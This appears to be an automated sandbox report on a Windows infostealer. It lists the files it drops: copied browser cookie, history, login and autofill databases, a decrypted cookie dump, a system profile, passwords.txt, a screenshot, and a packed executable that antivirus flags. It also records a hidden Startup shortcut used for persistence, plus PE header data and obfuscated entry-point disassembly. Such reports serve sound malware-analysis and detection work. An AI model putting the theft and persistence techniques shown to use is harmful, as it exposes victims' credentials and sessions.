Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span1UB98D2D2zeo\OaQuGlYHO2B0Web Data

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span1UB98D2D2zeo\Pe4W1HgFYxyTHistory

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span1UB98D2D2zeo\UdeNZdOQSPDWWeb Data

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span1UB98D2D2zeo\VCEccbr_cvO2Cookies

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span1UB98D2D2zeo\g85sD372nZcyCookies

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span1UB98D2D2zeo\llmcrdwzLnNKYB4T0Vnw.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	4563640
Entropy (8bit):	7.906115886926003
Encrypted:	false
SSDEEP:	98304:RpvmMxvdjYr/2BLOizdh/0Rzs24+WhXWXfRqCFh6MacgD5hB:vlVjMuBx0R7RrXpqiUhB
MD5:	AF6E384DFABDAD52D43CF8429AD8779C
SHA1:	C78E8CD8C74AD9D598F591DE5E49F73CE3373791
SHA-256:	F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
SHA-512:	B55BA87B275A475E751E13EC9BAC2E7F1A3484057844E210168E2256D73D9B6A7C7C7592845D4A3BF8163CF0D479315418A9F3CB8F2F4832AF88A06867E3DF93
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ@.....................................!..L.!Win32 .EXE...$@...PE..L....M.a.....................^.......w......0....@...........................}.....m.F.......................................w.......w.\|.............E.............................................................P.w..............................MPRESS1.pw.......?......................MPRESS22.....w.......?..................rsrc...\|.....w.......?.............@..............................................................................v2.19w...?. ...o......G>H.r9aQ..(.......`....=....?....!.Z..&I........I18..Z!..Y..s...[QX....a....YY...).v.....n......\|)....^f..+.>..84h82g...>.hb\...E.(.x.....@.8_.9.4U.m..'.s......#.....03.......O..]`..S2.@#.........oF~..R..Q..q.o.yn...OA@\|....g...F....0.j.......s/..H..+ 0C.!....7s..^H,...... ..{...............D......r.I..,\|........u.6......E>q..}....g..).U..ME.'.j}.........7^...w.......Le......k.T.`.#%....b..n.F.&-o..../8S.E..{1.E..,....<.c\|b.z.Fz........\|..W"p.

C:\Users\user\AppData\Local\Temp\span1UB98D2D2zeo\qUesDvlJI_ZiWeb Data

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span1UB98D2D2zeo\sl01HQPBKH54Web Data

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span1UB98D2D2zeo\tnqSg6erqMxtWeb Data

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span1UB98D2D2zeo\yDHoBcv6VALYLogin Data For Account

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\trixy1UB98D2D2zeo\Cookies\Chrome_Default.txt

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (369), with CRLF line terminators
Category:	dropped
Size (bytes):	530
Entropy (8bit):	5.999391385907715
Encrypted:	false
SSDEEP:	12:copYxSlufq7gCx7Fbyr4rOSlTfJJADr6HDsZQZ7gC6:KauS79Gr4iSllJALQZ7c
MD5:	06ED2CD304730F55A5C7001509E128BE
SHA1:	49651485B2CE3D239172BD52BF5A265AB3EB8E18
SHA-256:	66851B5AA77B3DEE71B842F53D4E30F664F5A08F9754B9E87B323871981516A4
SHA-512:	0163A8537DE695D34865EEB9C872F15A1827644D8797344A2D36E776F174E5901E77AA560488B0D7D7359B3648614F818B85A7D51F59CCDF2831B5715F5A9334
Malicious:	false
Preview:	.google.com.FALSE./.TRUE.1699018815.1P_JAR.ENC893_djEwmUj/dRHWNmfhbTB/w+u3HcpAF49UGcxvovgmz9ye9OQyJO9KCFHkRm8=_Spn23kok+Q5pGfoIFZdfhpScu2LLLElOWGEpK4fGivY=...google.com.TRUE./.TRUE.1712238015.NID.ENC893_djEwFCqquAx+Q1mLxpuZeEBJZSgzAt4Ngo/HHXcYPxMGINXG0MJzCe/y7m5VzpUyfsA6ingOdNobTvWP/YbKYpzg64nmGlCjRU9RpPIjDAuAxGlp5MTMUaOP4iC8aSCuijjqDE5gAdZQ5Jgb0/uEAZ4ssWGDsxXJbqpGbi04viYfPDhBfQ9XKXznqtHW/weYlNZJIGlKZBsCWoEIKfuL56VHKaBt04gLO/XK1/P3nHsp6pSc1x1uk1RRK7hSYUjCY5G/hcpBBjFv74dICDI=_Spn23kok+Q5pGfoIFZdfhpScu2LLLElOWGEpK4fGivY=..

C:\Users\user\AppData\Local\Temp\trixy1UB98D2D2zeo\History\Firefox_v6zchhhv.default-release.txt

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	112
Entropy (8bit):	4.9113057226932435
Encrypted:	false
SSDEEP:	3:N8DSLvIJiMgTE2WdkQVjDSLvIJiMhKVX3L2WdkQVQ:2OLciodFOLciA8dq
MD5:	0CE7E561D96623E70DD177304D3B56DA
SHA1:	27B4131817E71657AED90C086E01E7E925BF641E
SHA-256:	E0B2F92CFB58B7D5EDFBB1FDF3E81194D4E55A90706986C389BDF21D2AD2325D
SHA-512:	48154E76523305BBB7ED39FEAD22CB4DD6FDD568259DC8D0E70ABA4A21030DAF6D1274E0DC5D7F10DFCF7B3B61BD2401FFB4768F301AEF04F142AF23EF335AB5
Malicious:	false
Preview:	https://www.mozilla.org/privacy/firefox/.1696426831..https://www.mozilla.org/en-US/privacy/firefox/.1696426831..

C:\Users\user\AppData\Local\Temp\trixy1UB98D2D2zeo\information.txt

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	6549
Entropy (8bit):	5.6055337767834965
Encrypted:	false
SSDEEP:	96:xzDyJ2mRkoc2KBhA6tsxODsZ8svxhjANUbg3x:xfYyoX6tsxPZ8skB
MD5:	F949146D8F44A5E3B39FFA8B299C2CE4
SHA1:	7764E054E6A828328274D08D593F17D996027466
SHA-256:	34F3899A8081AA366C82D37E25B800E63D675DB221E3BB375D785C3BDE64B2D3
SHA-512:	1E2843ECFFEF386A1BC2A08619A2256A2D639E20C886D5A7349D11EC38C10FDA574010740EC909FACA4EB938FEE666CB37B2AF9DDB7EBA7C5C89DE8BD3369423
Malicious:	false
Preview:	Build: default..Version: 2.0....Date: Fri May 17 17:45:09 2024.MachineID: 9e146be9-c76a-4720-bcdb-53011b87bd06..GUID: {a33c7340-61ca-11ee-8c18-806e6f6e6963}..HWID: 3d7cb3c48b150bab83c70d51fda6606f....Path: C:\Users\user\Desktop\file.exe..Work Dir: C:\Users\user\AppData\Local\Temp\trixy1UB98D2D2zeo....IP: 12.205.151.60..Location: US, San Francisco..ZIP (Autofills): -..Windows: Windows 10 Pro [x64]..Computer Name: 855271 [WORKGROUP]..User Name: user..Display Resolution: 1280x1024..Display Language: en-CH..Keyboard Languages: English (United Kingdom) / English (United Kingdom)..Local Time: 17/5/2024 17:45:9..TimeZone: UTC-5....[Hardware]..Processor: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz..CPU Count: 4..RAM: 8191 MB..VideoCard #0: Microsoft Basic Display Adapter....[Processes]..System [4]..Registry [92]..smss.exe [332]..csrss.exe [420]..wininit.exe [496]..csrss.exe [504]..winlogon.exe [564]..services.exe [632]..lsass.exe [640]..svchost.exe [752]..fontdrvhost.exe [780]..fontdrvhost.ex

C:\Users\user\AppData\Local\Temp\trixy1UB98D2D2zeo\passwords.txt

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	Unicode text, UTF-8 text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	2.518316437186352
Encrypted:	false
SSDEEP:	48:4MMMMMMMMMMdMMMM1MMMMMMMM1MMMMMMMM1MMMMMMMM1MMMMMMMMMMdMMMMMMMM3:q
MD5:	B3E9D0E1B8207AA74CB8812BAAF52EAE
SHA1:	A2DCE0FB6B0BBC955A1E72EF3D87CADCC6E3CC6B
SHA-256:	4993311FC913771ACB526BB5EF73682EDA69CD31AC14D25502E7BDA578FFA37C
SHA-512:	B17ADF4AA80CADC581A09C72800DA22F62E5FB32953123F2C513D2E88753C430CC996E82AAE7190C8CB3340FCF2D9E0D759D99D909D2461369275FBE5C68C27A
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\trixy1UB98D2D2zeo\screenshot.png

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	711746
Entropy (8bit):	7.924358481947605
Encrypted:	false
SSDEEP:	12288:LN5Ik7hE5TUlevY31R2XSefNY396zjUvZKyn7tg1czUxd8B+x5ruugEnlV1MCvXu:Yk78Uj1RySeC0zjoKy7e1Z/8ofcEjm
MD5:	576DFC1AEDDC22FF1B5B2ED158DCDEFD
SHA1:	3BF1C8AC4E8541BB33DB2F6672DF544F5C32B4D4
SHA-256:	9731A447D10DC67279FC1D5DA41A48637E4FE5C685FDC95EAF090EA0B6BEA50F
SHA-512:	7AB6B3136DFF3CFA505266649352247BBBE3303D2DE02453D695693EA1FB5015F9925669BC555A15F66033484F613EAD769560AD60A9546C31C74781D9BEA7D3
Malicious:	false
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^..w.mG........ms......c...~.VuU..UUt.V.{o......$.......$.,.@.S.E...9...d......./..............1#..;...7f......<9.'...N....^'?5..I......3.......Nx\|..7"S..\|_.....:~..q....-.Wl!..........y1.......0\|...Jo.C.b....H.G.}G0u......X..h.......w...b......S........].\|...J...L.TE..w.....X...{.A.=w.d.."....w.=...w..1...'.....A.Z~0+..>7.o..H.TL......g..L.%.......M.Y..\|_..z.wG...1S..Na....^{.......:Gc..1.....k,\|..z.-...%..2..w.knJ.W......t..3X..S........../.X...c....{e....\?...L..%.7,}E.g..2...X....u........\|..i..y...MK^~M..X......].-....9g.?.}.u..6M.uM..yu..qU.._..\|o9.. .v...9gEn...y......nW.9.K.>..,....hk...=.N.....0^.{....B..+...}.O+........#..=.......].k..../L.zY......\|.\|...v...-.......u3.....+.g].?..]//..-.%.S.s.o...s...;....S;\RX..yLN.s.Kv..P....!.}..v...m/)..;.....osq7.s.a..y_..b-......vy}n5^.m....d.\|..'.<A.y`n..;.1..{.....E%...%.\].

C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\span1UB98D2D2zeo\llmcrdwzLnNKYB4T0Vnw.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	4563640
Entropy (8bit):	7.906115886926003
Encrypted:	false
SSDEEP:	98304:RpvmMxvdjYr/2BLOizdh/0Rzs24+WhXWXfRqCFh6MacgD5hB:vlVjMuBx0R7RrXpqiUhB
MD5:	AF6E384DFABDAD52D43CF8429AD8779C
SHA1:	C78E8CD8C74AD9D598F591DE5E49F73CE3373791
SHA-256:	F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
SHA-512:	B55BA87B275A475E751E13EC9BAC2E7F1A3484057844E210168E2256D73D9B6A7C7C7592845D4A3BF8163CF0D479315418A9F3CB8F2F4832AF88A06867E3DF93
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ@.....................................!..L.!Win32 .EXE...$@...PE..L....M.a.....................^.......w......0....@...........................}.....m.F.......................................w.......w.\|.............E.............................................................P.w..............................MPRESS1.pw.......?......................MPRESS22.....w.......?..................rsrc...\|.....w.......?.............@..............................................................................v2.19w...?. ...o......G>H.r9aQ..(.......`....=....?....!.Z..&I........I18..Z!..Y..s...[QX....a....YY...).v.....n......\|)....^f..+.>..84h82g...>.hb\...E.(.x.....@.8_.9.4U.m..'.s......#.....03.......O..]`..S2.@#.........oF~..R..Q..q.o.yn...OA@\|....g...F....0.j.......s/..H..+ 0C.!....7s..^H,...... ..{...............D......r.I..,\|........u.6......E>q..}....g..).U..ME.'.j}.........7^...w.......Le......k.T.`.#%....b..n.F.&-o..../8S.E..{1.E..,....<.c\|b.z.Fz........\|..W"p.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EdgeMS2.lnk

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Archive, ctime=Fri May 17 20:45:15 2024, mtime=Fri May 17 20:45:15 2024, atime=Fri May 17 20:45:15 2024, length=4563640, window=hide
Category:	dropped
Size (bytes):	1330
Entropy (8bit):	4.862977598680543
Encrypted:	false
SSDEEP:	24:8KHfmf8HVMQROgKb6xA9lE9d7lwXAIB1yNdFd2aSnqygm:8KHuErRy6xIExwwIB1yVryg
MD5:	C519A29483EE8E20AA66C2CBC23EA91F
SHA1:	245FD3D3F14D96CF46380E7DB0018727F62E16D7
SHA-256:	0399769E4CD0930D72CED5E76A98ACB37116D28F75A3FF8C27D385DFA9774B12
SHA-512:	CA8EF450FD17E6CEF7F1D28727ED90A36FD60F0E263E022F48B4017AC6AE80D14EE23E14A16D4525BB491BEBB47EA48D9121ADD350684578C9E39CAA19F62335
Malicious:	false
Preview:	L..................F.... ...c.......c................E.....................X.:..DG..Yr?.D..U..k0.&...&...... M........p....$...........t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl.X......B.....................Bdg.A.p.p.D.a.t.a...B.P.1......X....Local.<......DWSl.X......V.....................S4N.L.o.c.a.l.....N.1......X....Temp..:......DWSl.X......\....................... .T.e.m.p.......1......X....EDGEMS~1.........X...X.............................. .E.d.g.e.M.S.2._.4.5.c.4.8.c.c.e.2.e.2.d.7.f.b.d.e.a.1.a.f.c.5.1.c.7.c.6.a.d.2.6.....b.2...E..X.. .EdgeMS2.exe.H......X...X............................c.q.E.d.g.e.M.S.2...e.x.e.......................-............................C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe....E.d.g.e.M.S.2.Q.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.M.S.2._.4.5.c.4.8.c.c.e.2.e.2.d.7.f.b.d.e.a.1.a.f.c.5.1.c.7.c.6.a.d.2.6.\.E.d.g.e.M.S.2...e.x.e.........

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.973325521474956
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	8'778'752 bytes
MD5:	3d09739846543f4962f2b432da671c29
SHA1:	2247e38b1f5257df93db091328488c652f6bea0a
SHA256:	70aaa6e67944e919f8c7bbdf71b6b09deed41f51166bc1dc15fc6f66efc1b014
SHA512:	f762d0c8d9ce9a8a7189af007ec9b6e4ff863005f982d107b2b276281152f64386425b7fbe8ceda2b96ab9d7f827eb99358e3920ec79c9f5a063b87aa7e7bf5d
SSDEEP:	196608:EMnAaGWGFMEFFP8/1IK56wtjoRvH8FPuAfs/4:ZnAafG5w/1I4TtsRvqur
TLSH:	F796336331651185D1EAC93E9A377E9533F2523F464184FCB4A97FC22AE25F5E203A83
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...jR;f...............'............?X............@.................................p.....@................................

File Icon


Icon Hash:	07e3b7d7b794c087

Static PE Info

General

Entrypoint:	0xc7583f
Entrypoint Section:	.vmpY[.
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x663B526A [Wed May 8 10:22:34 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	d784b50e0634f83cc71436d4fb111768

Entrypoint Preview

Instruction
push D6FCCA80h
call 00007F2B8D8299F1h
inc ecx
jmp 00007F2B8D27FB97h
stc
xor edx, 1F142980h
stc
xor ebx, edx
cmp di, 1557h
stc
add ebp, edx
jmp 00007F2B8D3AC82Dh
je 00007F2B8D366777h
mov bl, cl
sub bl, 00000030h
jmp 00007F2B8D36D01Ch
dec edx
cmp esp, 40C2572Eh
xor ebx, edx
add edi, edx
jmp 00007F2B8D30919Ah
jmp 00007F2B8D229C49h
inc ecx
dec ebx
push ebp
inc esp
xor dword ptr [esp], ebx
inc eax
xchg ch, ch
inc eax
shl ch, FFFFFFA1h
bt bp, sp
pop ebp
stc
inc ebp
test cl, ah
dec ebp
arpl bx, bx
inc esp
test bl, dl
jmp 00007F2B8D29711Ah
or esi, ebx
lodsb
test dword ptr [eax-0879947Ah], 8E05EDA3h
neg dword ptr [edx+eax+52F795DBh]
mov ah, 54h
sahf
or dword ptr [eax+08CC3DDEh], esp
dec esi
sbb byte ptr [esi+08h], ah
int1

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xed6cf8	0x190	.vmpY[.
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xf76000	0x26ee8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xf75000	0x5c8	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xd25c80	0x20	.vmpY[.
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xf73760	0x40	.vmpY[.
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x75a000	0x290	.vmpY[.
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x7b1880	0x40	.vmpY[.
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x15bae8	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x15d000	0x27e32	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
